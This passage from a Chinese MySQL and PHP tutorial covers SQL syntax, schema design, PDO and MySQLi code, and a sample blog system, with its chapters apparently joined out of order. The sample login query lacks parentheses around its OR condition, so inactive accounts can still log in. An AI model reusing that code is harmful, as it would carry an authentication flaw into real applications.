ALTER DATABASE myapp CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

2. 表的基本操作

-- 创建表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    age INT,
    status ENUM('active', 'inactive', 'suspended') DEFAULT 'inactive',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- 查看表结构
DESCRIBE users;
-- 或者
SHOW COLUMNS FROM users;

-- 查看创建表的SQL语句
SHOW CREATE TABLE users;

-- 修改表结构
-- 添加字段
ALTER TABLE users ADD COLUMN phone VARCHAR(20) AFTER email;

-- 修改字段类型
ALTER TABLE users MODIFY COLUMN phone VARCHAR(25);

-- 修改字段名和类型
ALTER TABLE users CHANGE COLUMN phone mobile_phone VARCHAR(25);

-- 删除字段
ALTER TABLE users DROP COLUMN mobile_phone;

-- 添加索引
ALTER TABLE users ADD INDEX idx_age (age);

-- 删除索引
ALTER TABLE users DROP INDEX idx_age;

-- 重命名表
ALTER TABLE users RENAME TO app_users;

-- 删除表
DROP TABLE users;

-- 清空表数据(保留表结构)
TRUNCATE TABLE users;

3. 数据类型详解

数值类型

-- 整数类型
CREATE TABLE number_types (
    tinyint_col TINYINT,           -- 1字节,-128到127
    smallint_col SMALLINT,         -- 2字节,-32768到32767
    mediumint_col MEDIUMINT,       -- 3字节
    int_col INT,                   -- 4字节,常用
    bigint_col BIGINT,             -- 8字节
    boolean_col BOOLEAN            -- TINYINT(1)的别名
);

-- 浮点类型
CREATE TABLE float_types (
    float_col FLOAT,               -- 单精度浮点数
    double_col DOUBLE,             -- 双精度浮点数
    decimal_col DECIMAL(10,2)     -- 定点数,精确到小数点后2位
);

字符串类型

CREATE TABLE string_types (
    char_col CHAR(10),             -- 固定长度字符串
    varchar_col VARCHAR(255),      -- 可变长度字符串,常用
    text_col TEXT,                 -- 长文本,最多65535字符
    mediumtext_col MEDIUMTEXT,     -- 中等文本,最多16777215字符
    longtext_col LONGTEXT,         -- 长文本,最多4294967295字符
    enum_col ENUM('A', 'B', 'C'), -- 枚举类型
    set_col SET('A', 'B', 'C')     -- 集合类型
);

日期时间类型

CREATE TABLE datetime_types (
    date_col DATE,                 -- 日期 YYYY-MM-DD
    time_col TIME,                 -- 时间 HH:MM:SS
    datetime_col DATETIME,         -- 日期时间 YYYY-MM-DD HH:MM:SS
    timestamp_col TIMESTAMP,       -- 时间戳,范围较小
    year_col YEAR                  -- 年份 YYYY
);

-- 插入日期时间数据
INSERT INTO datetime_types VALUES
('2024-01-01', '12:30:45', '2024-01-01 12:30:45', NOW(), 2024);

数据操作语言(DML)

1. 插入数据

-- 单行插入
INSERT INTO users (username, email, password_hash, age, status)
VALUES ('john_doe', 'john@example.com', 'hashed_password', 25, 'active');

-- 多行插入
INSERT INTO users (username, email, age) VALUES
('jane_smith', 'jane@example.com', 23),
('bob_jones', 'bob@example.com', 30),
('alice_brown', 'alice@example.com', 28);

-- 从其他表插入数据
INSERT INTO user_profiles (user_id, bio)
SELECT id, CONCAT('Hello, I am ', username) FROM users WHERE age > 25;

-- 插入时忽略重复
INSERT IGNORE INTO users (username, email) VALUES ('john_doe', 'john2@example.com');

-- 插入时更新重复数据
INSERT INTO users (username, email)
VALUES ('john_doe', 'john3@example.com')
ON DUPLICATE KEY UPDATE email = VALUES(email);

2. 更新数据

-- 更新单个字段
UPDATE users SET status = 'active' WHERE id = 1;

-- 更新多个字段
UPDATE users
SET status = 'active', updated_at = NOW()
WHERE id = 1;

-- 基于条件的更新
UPDATE users SET age = age + 1 WHERE status = 'active';

-- 使用JOIN更新
UPDATE users u
JOIN user_profiles p ON u.id = p.user_id
SET u.status = 'premium'
WHERE p.subscription_level = 'gold';

-- 限制更新的行数
UPDATE users SET status = 'inactive' LIMIT 10;

3. 删除数据

-- 删除特定记录
DELETE FROM users WHERE id = 1;

-- 基于条件的删除
DELETE FROM users WHERE status = 'inactive' AND created_at < '2020-01-01';

-- 删除所有数据(保留表结构)
DELETE FROM users;
-- 或者
TRUNCATE TABLE users;

-- 使用JOIN删除
DELETE users FROM users
JOIN user_profiles ON users.id = user_profiles.user_id
WHERE user_profiles.bio IS NULL;

-- 限制删除的行数
DELETE FROM users WHERE status = 'suspended' LIMIT 5;

数据查询语言(DQL)

1. 基本查询

-- 查询所有字段
SELECT * FROM users;

-- 查询指定字段
SELECT id, username, email FROM users;

-- 使用别名
SELECT
    id AS user_id,
    username AS name,
    email AS email_address
FROM users;

-- 去重查询
SELECT DISTINCT status FROM users;

-- 条件查询
SELECT * FROM users WHERE age > 18;

-- 多条件查询
SELECT * FROM users
WHERE age >= 18 AND status = 'active';

-- 范围查询
SELECT * FROM users WHERE age BETWEEN 20 AND 30;

-- 列表查询
SELECT * FROM users WHERE status IN ('active', 'pending');

-- 模糊查询
SELECT * FROM users WHERE username LIKE 'john%';
SELECT * FROM users WHERE email LIKE '%@gmail.com';

2. 排序和限制

-- 升序排序
SELECT * FROM users ORDER BY age ASC;

-- 降序排序
SELECT * FROM users ORDER BY created_at DESC;

-- 多字段排序
SELECT * FROM users ORDER BY status DESC, age ASC;

-- 限制结果数量
SELECT * FROM users LIMIT 10;

-- 分页查询
SELECT * FROM users LIMIT 10 OFFSET 20;
-- 或者
SELECT * FROM users LIMIT 20, 10;

3. 聚合函数

-- 统计记录数
SELECT COUNT(*) FROM users;
SELECT COUNT(id) FROM users WHERE status = 'active';

-- 计算平均值
SELECT AVG(age) FROM users;

-- 计算总和
SELECT SUM(age) FROM users;

-- 查找最大值和最小值
SELECT MAX(age), MIN(age) FROM users;

-- 分组统计
SELECT status, COUNT(*) as count
FROM users
GROUP BY status;

-- 分组后过滤
SELECT status, COUNT(*) as count
FROM users
GROUP BY status
HAVING COUNT(*) > 5;

4. 连接查询

-- 内连接
SELECT u.username, p.bio
FROM users u
INNER JOIN user_profiles p ON u.id = p.user_id;

-- 左连接
SELECT u.username, p.bio
FROM users u
LEFT JOIN user_profiles p ON u.id = p.user_id;

-- 右连接
SELECT u.username, p.bio
FROM users u
RIGHT JOIN user_profiles p ON u.id = p.user_id;

-- 多表连接
SELECT u.username, p.bio, c.name as city_name
FROM users u
LEFT JOIN user_profiles p ON u.id = p.user_id
LEFT JOIN cities c ON p.city_id = c.id;

5. 子查询

-- WHERE子句中的子查询
SELECT * FROM users
WHERE id IN (SELECT user_id FROM orders WHERE total > 100);

-- FROM子句中的子查询
SELECT u.* FROM (
    SELECT * FROM users WHERE age > 18
) AS u WHERE u.status = 'active';

-- EXISTS子查询
SELECT * FROM users u
WHERE EXISTS (
    SELECT 1 FROM orders o
    WHERE o.user_id = u.id AND o.total > 100
);

数据库设计原则

1. 设计用户管理系统

-- 用户表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL UNIQUE,
    password_hash VARCHAR(255) NOT NULL,
    first_name VARCHAR(50),
    last_name VARCHAR(50),
    avatar_url VARCHAR(255),
    status ENUM('active', 'inactive', 'suspended') DEFAULT 'inactive',
    email_verified BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    last_login TIMESTAMP NULL,
    INDEX idx_username (username),
    INDEX idx_email (email),
    INDEX idx_status (status)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- 用户资料表
CREATE TABLE user_profiles (
    user_id INT PRIMARY KEY,
    bio TEXT,
    phone VARCHAR(20),
    address TEXT,
    city_id INT,
    birth_date DATE,
    gender ENUM('male', 'female', 'other'),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
    FOREIGN KEY (city_id) REFERENCES cities(id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- 城市表
CREATE TABLE cities (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(100) NOT NULL,
    country VARCHAR(100) NOT NULL,
    state VARCHAR(100),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_country (country)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- 用户角色表
CREATE TABLE user_roles (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL UNIQUE,
    description TEXT,
    permissions JSON,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- 用户角色关联表
CREATE TABLE user_role_assignments (
    user_id INT,
    role_id INT,
    assigned_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    assigned_by INT,
    PRIMARY KEY (user_id, role_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
    FOREIGN KEY (role_id) REFERENCES user_roles(id) ON DELETE CASCADE,
    FOREIGN KEY (assigned_by) REFERENCES users(id) ON DELETE SET NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- 插入初始数据
INSERT INTO user_roles (name, description, permissions) VALUES
('admin', '管理员', JSON_OBJECT('users', ['create', 'read', 'update', 'delete'], 'system', ['config', 'logs'])),
('moderator', '版主', JSON_OBJECT('content', ['create', 'read', 'update', 'delete'])),
('user', '普通用户', JSON_OBJECT('profile', ['read', 'update']));

INSERT INTO cities (name, country, state) VALUES
('北京', '中国', '北京市'),
('上海', '中国', '上海市'),
('广州', '中国', '广东省'),
('深圳', '中国', '广东省');

2. 索引优化

-- 创建普通索引
CREATE INDEX idx_username ON users(username);

-- 创建唯一索引
CREATE UNIQUE INDEX idx_email ON users(email);

-- 创建复合索引
CREATE INDEX idx_status_created ON users(status, created_at);

-- 创建全文索引(用于文本搜索)
CREATE FULLTEXT INDEX idx_bio ON user_profiles(bio);

-- 查看表的索引
SHOW INDEX FROM users;

-- 分析查询性能
EXPLAIN SELECT * FROM users WHERE username = 'john_doe';

3. 视图创建

-- 创建用户详细信息视图
CREATE VIEW user_details AS
SELECT
    u.id,
    u.username,
    u.email,
    u.first_name,
    u.last_name,
    u.status,
    p.bio,
    p.phone,
    c.name as city_name,
    u.created_at,
    u.last_login
FROM users u
LEFT JOIN user_profiles p ON u.id = p.user_id
LEFT JOIN cities c ON p.city_id = c.id;

-- 使用视图
SELECT * FROM user_details WHERE status = 'active';

-- 更新视图(某些情况下)
UPDATE user_details SET bio = 'New bio' WHERE id = 1;

PHP连接MySQL

1. 使用MySQLi扩展

<?php
// 数据库配置
$host = 'localhost';
$username = 'root';
$password = 'your_password';
$database = 'myapp';

// 创建连接
$conn = new mysqli($host, $username, $password, $database);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 设置字符集
$conn->set_charset("utf8mb4");

// 执行查询
$sql = "SELECT id, username, email FROM users WHERE status = 'active'";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // 输出数据
    while($row = $result->fetch_assoc()) {
        echo "ID: " . $row["id"]. " - 用户名: " . $row["username"]. " - 邮箱: " . $row["email"]. "<br>";
    }
} else {
    echo "没有找到记录";
}

// 预处理语句示例
$stmt = $conn->prepare("INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $username, $email, $password_hash);

$username = "new_user";
$email = "newuser@example.com";
$password_hash = password_hash("password123", PASSWORD_DEFAULT);

$stmt->execute();
echo "新记录创建成功";

$stmt->close();
$conn->close();
?>

2. 使用PDO扩展(推荐)

<?php
// 数据库配置
$host = 'localhost';
$dbname = 'myapp';
$username = 'root';
$password = 'your_password';
$charset = 'utf8mb4';

// DSN (Data Source Name)
$dsn = "mysql:host=$host;dbname=$dbname;charset=$charset";

$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];

try {
    // 创建PDO实例
    $pdo = new PDO($dsn, $username, $password, $options);

    // 简单查询
    $stmt = $pdo->query("SELECT id, username, email FROM users WHERE status = 'active'");

    while ($row = $stmt->fetch()) {
        echo "ID: " . $row['id'] . " - 用户名: " . $row['username'] . "<br>";
    }

    // 预处理语句
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND status = ?");
    $stmt->execute(['john_doe', 'active']);
    $user = $stmt->fetch();

    // 插入数据
    $stmt = $pdo->prepare("INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)");
    $stmt->execute(['new_user', 'newuser@example.com', 'hashed_password']);

    // 获取最后插入的ID
    $lastId = $pdo->lastInsertId();
    echo "新用户ID: " . $lastId;

} catch (PDOException $e) {
    die("数据库错误: " . $e->getMessage());
}
?>

3. 数据库连接类

<?php
class Database {
    private $pdo;
    private $host;
    private $dbname;
    private $username;
    private $password;
    private $charset;

    public function __construct($host, $dbname, $username, $password, $charset = 'utf8mb4') {
        $this->host = $host;
        $this->dbname = $dbname;
        $this->username = $username;
        $this->password = $password;
        $this->charset = $charset;
    }

    public function connect() {
        if ($this->pdo === null) {
            $dsn = "mysql:host={$this->host};dbname={$this->dbname};charset={$this->charset}";

            $options = [
                PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES   => false,
                PDO::ATTR_PERSISTENT         => true, // 持久连接
            ];

            try {
                $this->pdo = new PDO($dsn, $this->username, $this->password, $options);
            } catch (PDOException $e) {
                throw new Exception("数据库连接失败: " . $e->getMessage());
            }
        }

        return $this->pdo;
    }

    public function query($sql, $params = []) {
        $stmt = $this->connect()->prepare($sql);
        $stmt->execute($params);
        return $stmt;
    }

    public function fetch($sql, $params = []) {
        return $this->query($sql, $params)->fetch();
    }

    public function fetchAll($sql, $params = []) {
        return $this->query($sql, $params)->fetchAll();
    }

    public function insert($table, $data) {
        $columns = implode(', ', array_keys($data));
        $placeholders = implode(', ', array_fill(0, count($data), '?'));

        $sql = "INSERT INTO {$table} ({$columns}) VALUES ({$placeholders})";

        $this->query($sql, array_values($data));
        return $this->pdo->lastInsertId();
    }

    public function update($table, $data, $where, $whereParams = []) {
        $setClauses = [];
        $params = [];

        foreach ($data as $column => $value) {
            $setClauses[] = "{$column} = ?";
            $params[] = $value;
        }

        $sql = "UPDATE {$table} SET " . implode(', ', $setClauses) . " WHERE {$where}";

        $params = array_merge($params, $whereParams);

        $stmt = $this->query($sql, $params);
        return $stmt->rowCount();
    }

    public function delete($table, $where, $params = []) {
        $sql = "DELETE FROM {$table} WHERE {$where}";
        $stmt = $this->query($sql, $params);
        return $stmt->rowCount();
    }

    public function beginTransaction() {
        return $this->connect()->beginTransaction();
    }

    public function commit() {
        return $this->pdo->commit();
    }

    public function rollback() {
        return $this->pdo->rollBack();
    }
}

// 使用示例
try {
    $db = new Database('localhost', 'myapp', 'root', 'password');

    // 查询用户
    $users = $db->fetchAll("SELECT * FROM users WHERE status = ?", ['active']);

    // 插入用户
    $userId = $db->insert('users', [
        'username' => 'test_user',
        'email' => 'test@example.com',
        'password_hash' => password_hash('password', PASSWORD_DEFAULT)
    ]);

    // 更新用户
    $db->update('users',
        ['status' => 'active'],
        'id = ?',
        [$userId]
    );

    // 删除用户
    $db->delete('users', 'id = ?', [$userId]);

} catch (Exception $e) {
    echo "错误: " . $e->getMessage();
}
?>

实践项目:简单的博客系统

数据库设计

-- 创建博客数据库
CREATE DATABASE blog CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE blog;

-- 用户表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL UNIQUE,
    password_hash VARCHAR(255) NOT NULL,
    display_name VARCHAR(100),
    avatar_url VARCHAR(255),
    bio TEXT,
    status ENUM('active', 'inactive') DEFAULT 'active',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

-- 分类表
CREATE TABLE categories (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(100) NOT NULL,
    slug VARCHAR(100) NOT NULL UNIQUE,
    description TEXT,
    parent_id INT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (parent_id) REFERENCES categories(id) ON DELETE SET NULL
);

-- 文章表
CREATE TABLE posts (
    id INT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(255) NOT NULL,
    slug VARCHAR(255) NOT NULL,
    content TEXT NOT NULL,
    excerpt TEXT,
    author_id INT NOT NULL,
    category_id INT,
    status ENUM('draft', 'published', 'archived') DEFAULT 'draft',
    comment_count INT DEFAULT 0,
    view_count INT DEFAULT 0,
    featured BOOLEAN DEFAULT FALSE,
    published_at TIMESTAMP NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE,
    FOREIGN KEY (category_id) REFERENCES categories(id) ON DELETE SET NULL,
    INDEX idx_status (status),
    INDEX idx_published (published_at),
    INDEX idx_author (author_id),
    INDEX idx_category (category_id)
);

-- 评论表
CREATE TABLE comments (
    id INT PRIMARY KEY AUTO_INCREMENT,
    post_id INT NOT NULL,
    author_name VARCHAR(100) NOT NULL,
    author_email VARCHAR(100) NOT NULL,
    author_url VARCHAR(255),
    content TEXT NOT NULL,
    parent_id INT,
    status ENUM('pending', 'approved', 'rejected') DEFAULT 'pending',
    ip_address VARCHAR(45),
    user_agent TEXT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (post_id) REFERENCES posts(id) ON DELETE CASCADE,
    FOREIGN KEY (parent_id) REFERENCES comments(id) ON DELETE CASCADE
);

-- 插入示例数据
INSERT INTO users (username, email, password_hash, display_name) VALUES
('admin', 'admin@blog.com', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', '管理员'),
('john', 'john@blog.com', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'John Doe');

INSERT INTO categories (name, slug, description) VALUES
('技术', 'tech', '技术相关文章'),
('生活', 'life', '生活随笔'),
('教程', 'tutorial', '教程类文章');

INSERT INTO posts (title, slug, content, author_id, category_id, status, published_at) VALUES
('欢迎来到我的博客', 'welcome-to-my-blog', '这是第一篇文章的内容...', 1, 2, 'published', NOW()),
('PHP基础教程', 'php-basic-tutorial', '今天我们来学习PHP基础...', 1, 3, 'published', NOW());

PHP操作示例

<?php
class Blog {
    private $db;

    public function __construct($database) {
        $this->db = $database;
    }

    // 获取发布的文章
    public function getPublishedPosts($limit = 10, $offset = 0) {
        $sql = "SELECT p.*, u.display_name as author_name, c.name as category_name
                FROM posts p
                LEFT JOIN users u ON p.author_id = u.id
                LEFT JOIN categories c ON p.category_id = c.id
                WHERE p.status = 'published'
                ORDER BY p.published_at DESC
                LIMIT ? OFFSET ?";

        return $this->db->fetchAll($sql, [$limit, $offset]);
    }

    // 获取文章详情
    public function getPost($slug) {
        $sql = "SELECT p.*, u.display_name as author_name, c.name as category_name
                FROM posts p
                LEFT JOIN users u ON p.author_id = u.id
                LEFT JOIN categories c ON p.category_id = c.id
                WHERE p.slug = ? AND p.status = 'published'";

        $post = $this->db->fetch($sql, [$slug]);

        if ($post) {
            // 增加浏览次数
            $this->db->query("UPDATE posts SET view_count = view_count + 1 WHERE id = ?", [$post['id']]);
        }

        return $post;
    }

    // 获取文章评论
    public function getPostComments($postId, $approvedOnly = true) {
        $sql = "SELECT * FROM comments
                WHERE post_id = ?" . ($approvedOnly ? " AND status = 'approved'" : "") . "
                ORDER BY created_at ASC";

        return $this->db->fetchAll($sql, [$postId]);
    }

    // 添加评论
    public function addComment($postId, $authorName, $authorEmail, $content, $parent_id = null) {
        return $this->db->insert('comments', [
            'post_id' => $postId,
            'author_name' => $authorName,
            'author_email' => $authorEmail,
            'content' => $content,
            'parent_id' => $parent_id,
            'ip_address' => $_SERVER['REMOTE_ADDR'] ?? '',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
            'status' => 'pending' // 需要审核
        ]);
    }

    // 获取分类列表
    public function getCategories() {
        return $this->db->fetchAll("SELECT * FROM categories ORDER BY name ASC");
    }

    // 获取分类下的文章
    public function getPostsByCategory($categorySlug, $limit = 10) {
        $sql = "SELECT p.*, u.display_name as author_name
                FROM posts p
                LEFT JOIN users u ON p.author_id = u.id
                LEFT JOIN categories c ON p.category_id = c.id
                WHERE c.slug = ? AND p.status = 'published'
                ORDER BY p.published_at DESC
                LIMIT ?";

        return $this->db->fetchAll($sql, [$categorySlug, $limit]);
    }

    // 用户注册
    public function registerUser($username, $email, $password, $displayName) {
        // 检查用户名和邮箱是否已存在
        $existing = $this->db->fetch(
            "SELECT id FROM users WHERE username = ? OR email = ?",
            [$username, $email]
        );

        if ($existing) {
            throw new Exception("用户名或邮箱已存在");
        }

        return $this->db->insert('users', [
            'username' => $username,
            'email' => $email,
            'password_hash' => password_hash($password, PASSWORD_DEFAULT),
            'display_name' => $displayName
        ]);
    }

    // 用户登录验证
    public function login($username, $password) {
        $user = $this->db->fetch(
            "SELECT id, username, email, password_hash, display_name, status
             FROM users WHERE username = ? OR email = ? AND status = 'active'",
            [$username, $username]
        );

        if ($user && password_verify($password, $user['password_hash'])) {
            return $user;
        }

        return false;
    }
}

// 使用示例
try {
    $database = new Database('localhost', 'blog', 'root', 'password');
    $blog = new Blog($database);

    // 获取最新文章
    $posts = $blog->getPublishedPosts(5);

    echo "<h2>最新文章</h2>";
    foreach ($posts as $post) {
        echo "<h3><a href='post.php?slug={$post['slug']}'>" . htmlspecialchars($post['title']) . "</a></h3>";
        echo "<p>作者: " . htmlspecialchars($post['author_name']) .
             " | 分类: " . htmlspecialchars($post['category_name']) .
             " | 浏览: " . $post['view_count'] . "</p>";
        echo "<p>" . htmlspecialchars(substr($post['content'], 0, 200)) . "...</p>";
        echo "<hr>";
    }

} catch (Exception $e) {
    echo "错误: " . $e->getMessage();
}
?>

总结

MySQL数据库基础是Web开发的重要技能。通过本章的学习,你应该掌握:

关键知识点:

  1. 数据库基本概念:理解关系模型、表、记录、字段等概念
  2. SQL语言:熟练使用DDL、DML、DQL进行数据操作
  3. 数据库设计:遵循范式化原则,设计合理的表结构
  4. 索引优化:了解索引的作用和使用场景
  5. PHP数据库操作:使用MySQLi和PDO扩展连接和操作数据库

最佳实践:

  • 使用预处理语句防止SQL注入
  • 合理设计索引提高查询性能
  • 使用外键约束保证数据完整性
  • 定期备份数据库
  • 监控和优化慢查询

后续学习方向:

  • 深入学习数据库优化和索引调优
  • 了解存储过程和触发器
  • 学习数据库集群和分库分表
  • 掌握数据库备份和恢复
  • 学习NoSQL数据库作为补充

通过实践本章的博客系统项目,你可以将理论知识应用到实际开发中,为构建复杂的Web应用奠定坚实的基础。

数据库介绍

什么是数据库

数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。它是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。

数据库的基本特征

  1. 数据结构化:数据按照一定的数据模型组织和描述
  2. 数据共享性:多个用户可以同时访问和使用数据
  3. 数据独立性:数据与应用程序相互独立
  4. 数据持久性:数据长期保存在存储设备中
  5. 数据完整性:保证数据的正确性和一致性

数据库类型

关系型数据库

关系型数据库基于关系模型来组织数据,使用表格(二维表)来存储数据。

特点:

  • 数据以表格形式存储
  • 每个表有固定的列(字段)和行(记录)
  • 支持SQL语言操作
  • 数据之间存在关系约束

常见的关系型数据库:

  • MySQL
  • PostgreSQL
  • SQLite
  • Oracle
  • SQL Server
  • MariaDB

非关系型数据库

非关系型数据库不使用传统的表格结构,而是使用键值对、文档、列族或图形等方式存储数据。

类型:

  • 键值存储:Redis、Memcached
  • 文档存储:MongoDB、CouchDB
  • 列族存储:Cassandra、HBase
  • 图形数据库:Neo4j、ArangoDB

关系型数据库基本概念

实体(Entity)

现实世界中可以区分的事物,如学生、课程、教师等。

属性(Attribute)

实体的特性或特征,如学生有姓名、年龄、学号等属性。

关系(Relationship)

实体之间的联系,如学生和课程之间的"选课"关系。

主键(Primary Key)

唯一标识表中每条记录的字段,不能重复且不能为空。

-- 学生表中的学号作为主键
CREATE TABLE students (
    student_id INT PRIMARY KEY,
    name VARCHAR(50),
    age INT
);

外键(Foreign Key)

用于建立两个表之间关系的字段,引用另一个表的主键。

-- 选课表中的学生ID作为外键,引用学生表的主键
CREATE TABLE enrollments (
    enrollment_id INT PRIMARY KEY,
    student_id INT,
    course_id INT,
    FOREIGN KEY (student_id) REFERENCES students(student_id)
);

数据库设计原则

三范式(3NF)

  1. 第一范式(1NF):确保每列都是原子性的,不可再分割
  2. 第二范式(2NF):在1NF基础上,非主键列完全依赖于主键
  3. 第三范式(3NF):在2NF基础上,非主键列之间不存在传递依赖

设计原则

  1. 避免数据冗余:相同数据不要重复存储
  2. 保证数据一致性:通过约束确保数据的有效性
  3. 提高查询效率:合理设计索引和表结构
  4. 便于扩展:考虑未来的需求变化

数据库管理系统(DBMS)

数据库管理系统是用于管理数据库的软件,提供数据的定义、操作、控制等功能。

主要功能

  1. 数据定义语言(DDL):创建、修改、删除数据库对象
  2. 数据操作语言(DML):插入、更新、删除数据
  3. 数据查询语言(DQL):查询和检索数据
  4. 数据控制语言(DCL):控制用户权限和访问
  5. 事务控制语言(TCL):管理数据库事务

MySQL的优势

  1. 开源免费:无需支付许可费用
  2. 性能优秀:适合高并发访问
  3. 易于使用:学习曲线平缓
  4. 社区支持:丰富的文档和解决方案
  5. 兼容性好:支持多种操作系统和编程语言
  6. 扩展性强:支持主从复制、集群等功能

数据库在Web应用中的作用

数据存储

  • 用户信息(用户名、密码、邮箱等)
  • 内容数据(文章、商品、评论等)
  • 配置信息(系统设置、用户偏好等)
  • 日志数据(访问日志、操作日志等)

数据管理

  • 用户的增删改查操作
  • 内容的发布、编辑、删除
  • 统计分析和报表生成
  • 数据备份和恢复

业务逻辑支持

  • 用户认证和授权
  • 购物车和订单处理
  • 评论和评分系统
  • 搜索和推荐功能

实践示例:设计学生管理系统数据库

需求分析

我们需要管理学生的基本信息和课程成绩:

  1. 学生信息:学号、姓名、性别、年龄、班级
  2. 课程信息:课程编号、课程名称、学分、教师
  3. 成绩信息:学生、课程、分数、学期

数据库设计

-- 创建学生表
CREATE TABLE students (
    student_id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL,
    gender ENUM('男', '女') NOT NULL,
    age INT,
    class_id INT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 创建班级表
CREATE TABLE classes (
    class_id INT PRIMARY KEY AUTO_INCREMENT,
    class_name VARCHAR(50) NOT NULL,
    grade VARCHAR(20) NOT NULL
);

-- 创建课程表
CREATE TABLE courses (
    course_id INT PRIMARY KEY AUTO_INCREMENT,
    course_name VARCHAR(100) NOT NULL,
    credits DECIMAL(3,1) NOT NULL,
    teacher_id INT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 创建教师表
CREATE TABLE teachers (
    teacher_id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL,
    department VARCHAR(50) NOT NULL
);

-- 创建成绩表
CREATE TABLE scores (
    score_id INT PRIMARY KEY AUTO_INCREMENT,
    student_id INT NOT NULL,
    course_id INT NOT NULL,
    score DECIMAL(5,2) NOT NULL,
    semester VARCHAR(20) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (student_id) REFERENCES students(student_id),
    FOREIGN KEY (course_id) REFERENCES courses(course_id)
);

-- 添加外键约束
ALTER TABLE students
ADD FOREIGN KEY (class_id) REFERENCES classes(class_id);

ALTER TABLE courses
ADD FOREIGN KEY (teacher_id) REFERENCES teachers(teacher_id);

总结

数据库是现代Web应用的核心组件,理解数据库的基本概念和设计原则对于开发高质量的应用程序至关重要。MySQL作为最受欢迎的开源关系型数据库,为PHP开发者提供了强大而可靠的数据存储解决方案。

在本节中,我们学习了:

  • 数据库的基本概念和类型
  • 关系型数据库的核心术语
  • 数据库设计原则
  • MySQL的优势和应用场景
  • 实际的数据库设计案例

这些知识将为后续学习SQL语言和PHP数据库编程打下坚实的基础。

SQL基础语法

SQL简介

SQL(Structured Query Language,结构化查询语言)是用于管理关系型数据库的标准语言。通过SQL,我们可以对数据库进行各种操作,包括创建表、插入数据、查询数据、更新数据和删除数据等。

SQL的特点

  1. 标准化:ANSI和ISO标准
  2. 声明式:告诉数据库"要什么",而不是"怎么做"
  3. 简单易学:语法接近自然语言
  4. 功能强大:支持复杂的数据操作

SQL语言分类

1. 数据定义语言(DDL)

用于定义和管理数据库对象(表、索引、视图等)。

主要命令:

  • CREATE:创建数据库对象
